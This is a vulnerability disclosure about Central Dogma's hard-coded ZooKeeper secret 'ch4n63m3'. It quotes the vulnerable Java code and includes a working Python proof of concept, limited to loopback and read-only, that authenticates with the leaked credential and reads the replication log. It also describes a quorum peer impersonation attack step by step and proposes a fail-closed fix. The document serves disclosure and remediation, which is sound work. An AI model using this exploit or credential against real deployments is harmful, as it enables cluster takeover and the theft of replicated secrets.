Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover

/**
 * Returns the secret string used for authenticating the ZooKeeper peers.
 */
public String secret() {
    return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java Lines 586–607 — JAAS wiring (same secret on both surfaces):

final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("username=\"super\"").append(newline);
    buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java

Line 44 — proves CD embeds the ZK server:

final class EmbeddedZooKeeper extends QuorumPeer {

Lines 213–220 — client port binding (loopback only):

private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
    final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
    final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
    // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
    cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
                          zkCfg.getMaxClientCnxns());
    return cnxnFactory;
}

Quorum/election ports are NOT loopback-bound — they bind to replication.servers[].host as configured, exposed on the inter-replica network.

PoC

Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.

Surface A — Same-Host Client Port (Loopback) PoC

Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.

#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).

Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.

SAFETY:
  * Hardcoded to 127.0.0.1. Refuses any other target.
  * Read-only. No writes are issued. No nodes are deleted.
  * Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations

import sys

from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError

HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3"  # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5


def main() -> int:
    port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
    if HOST != "127.0.0.1":
        print("Refusing to run against non-loopback host.", file=sys.stderr)
        return 2

    zk = KazooClient(
        hosts=f"{HOST}:{port}",
        sasl_options={
            "mechanism": "DIGEST-MD5",
            "username": DEFAULT_USER,
            "password": DEFAULT_SECRET,
        },
        read_only=True,
        timeout=5.0,
    )
    try:
        zk.start(timeout=5)
    except Exception as exc:
        print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
        return 1

    try:
        try:
            log_children = zk.get_children("/dogma/logs")
        except NoNodeError:
            print("[i] /dogma/logs not present -- is replication actually enabled?")
            log_children = []

        print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
        print(f"[+] /dogma/logs has {len(log_children)} entries.")
        for child in sorted(log_children)[:MAX_LOGS]:
            path = f"/dogma/logs/{child}"
            try:
                data, stat = zk.get(path)
            except NoNodeError:
                continue
            preview = data[:120].decode("utf-8", errors="replace") if data else ""
            print(f"  - {path}  ({stat.dataLength} bytes)  preview={preview!r}")

        try:
            block_children = zk.get_children("/dogma/log_blocks")
            print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
        except NoNodeError:
            pass

        print(
            f"[!] ZK cluster compromised: read {len(log_children)} log entries "
            "with default credentials."
        )
        return 0
    finally:
        zk.stop()
        zk.close()


if __name__ == "__main__":
    raise SystemExit(main())

Dependencies (requirements.txt): kazoo, pure-sasl

Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:

{
  "replication": {
    "method": "ZOOKEEPER",
    "serverId": 1,
    "servers": {
      "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
    }
  }
}

Note: replication.secret is INTENTIONALLY omitted. Launch with ./gradlew :dist:startup.

Run:

python3 zk_takeover.py 2381

Expected output (VULNERABLE):

[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
  - /dogma/logs/0000000001  (412 bytes)  preview="{"size":..."
  - /dogma/logs/0000000002  (508 bytes)  preview="{"size":..."
  ...
[+] /dogma/log_blocks has 14 entries.
[!] ZK cluster compromised: read 14 log entries with default credentials.

After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.

Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)

Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.

Attack path:

1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).
2. Attacker spins up their own Apache ZooKeeper process configured with:
   • matching serverId (or a new one if the QuorumVerifier allows dynamic membership)
   • JAAS QuorumLearner / QuorumServer digest contexts using super / ch4n63m3
   • quorumServerSaslAuthRequired=true, quorumLearnerSaslAuthRequired=true
3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.
4. Attacker now receives every replicated Command, can attempt to win leader election, and once in the cluster can write to /dogma/logs/ directly — which ZooKeeperCommandExecutor.replayLogs() will deserialize and execute on every legitimate replica.

Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):

This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.

Impact

Threat Model (Realistic for LINE Corporate Deployment)

• Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads
• Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts
• Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)

What an Attacker Gains with the Leaked Secret

1. Read the full replication log. /dogma/logs + /dogma/log_blocks contain the Zstd-compressed ReplicationLog entries — every commit, every PUSH payload (with file contents), every credential mutation, every session/master-key management command. Includes CREATE_SESSION_MASTER_KEY, ROTATE_SESSION_MASTER_KEY, REWRAP_ALL_KEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.

2. Write to the replication log (Surface B). Forged LogMeta + log_blocks entries are auto-replayed by ZooKeeperCommandExecutor.replayLogs() on every replica. The attacker gains arbitrary Command execution on the entire cluster.

3. Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.

Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.

Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.

Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.

How to Fix

Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.

// ZooKeeperReplicationConfig.java
// REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3";

@JsonCreator
ZooKeeperReplicationConfig(/* ...unchanged params... */
                           @JsonProperty("secret") @Nullable String secret,
                           /* ... */) {
    // ...
    final String resolved = convertValue(secret, "replication.secret");
    checkArgument(resolved != null && !resolved.isEmpty(),
                  "'replication.secret' must be set (and non-empty) when " +
                  "ZooKeeper replication is enabled. There is no default; " +
                  "generate a long random string and configure it on every " +
                  "replica.");
    // Reject the historical placeholder explicitly so existing config files
    // copy-pasted from old tutorials fail loudly instead of silently.
    checkArgument(!"ch4n63m3".equals(resolved),
                  "'replication.secret' is set to the legacy placeholder " +
                  "value. Replace it with a fresh random secret " +
                  "(`openssl rand -hex 32`).");
    // Optional: enforce minimum length (32 chars) and reject obvious placeholders.
    checkArgument(resolved.length() >= 32,
                  "'replication.secret' must be at least 32 characters. " +
                  "Use `openssl rand -hex 32` to generate one.");
    this.secret = resolved;
}

public String secret() {
    return secret;  // never null at this point
}